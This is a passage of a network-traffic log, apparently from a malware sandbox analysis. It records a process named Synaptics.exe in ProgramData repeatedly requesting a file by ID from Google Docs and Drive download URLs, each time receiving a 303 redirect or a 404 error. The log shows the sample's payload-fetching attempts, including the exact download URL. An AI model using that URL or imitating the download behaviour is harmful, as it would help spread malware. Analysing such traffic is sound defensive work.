2025-01-02 19:20:19 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC57UWp_ReElsQ9PFyspMvPDJzcbJeTUd2MrFkmS3WZ1DQ0pQoXcjSZPH59PVjDGSAGfHv9OZVg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:19 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-JhwDwZH5Ulx1ksW29DwzIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:19 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:19 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 71 2d 4e 51 57 52 34 41 4e 75 61 66 6c 64 64 51 63 6a 46 33 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="dq-NQWR4ANuaflddQcjF3w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:19 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49755	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:20 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49756	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:20 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-MbhGgQcxCqp60sqQOOCW4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49757	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:20 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:20 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC60m-tc3nNTkEtUVwh2wp-eMy3n4viR6XDP2ng7p0bfrXQrCF6VGlbmxcwT1wupPfXg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:20 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-4Ym2QjsNHPverVR_LaZxIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:20 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:20 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 6c 79 35 67 74 47 6a 33 49 4e 52 67 57 58 79 43 38 36 71 4a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="wly5gtGj3INRgWXyC86qJw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:20 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49761	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:21 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-dD5DtjOLGnSM2EONM1vskw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49763	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:21 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--ezMyR1nkgystNexU-w51w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49762	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:21 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:21 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4_OkUSAcLO6H1f1c-d3wEV0hwRny47HCsC2L-Flbte829mZpQhhd_s7Zkg3sz_9IVxoeGK-rk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:21 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Ddqo1pNQi3Q86hVa3BgLTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:21 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:21 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 33 6a 43 59 33 78 4a 4c 4f 5a 36 75 6a 46 67 35 31 51 61 64 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="t3jCY3xJLOZ6ujFg51QadQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:21 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49764	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:22 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:22 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7RAGHSRO1bb6t83C9Wc75tIkIpynLTpEPCLOxczm3qIdSJZkzfuTcDcHTHzye9ifjK9-Pf-sI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:22 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-mlYpBRBR1TISUPOqf4ukcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:22 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:22 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 32 77 38 58 38 58 6a 33 57 6f 50 39 50 4f 71 52 4b 4b 74 56 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="72w8X8Xj3WoP9POqRKKtVQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:22 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49765	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:22 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:22 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-qRnZiJ7yp9d4DJtasYDrSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49766	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:22 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
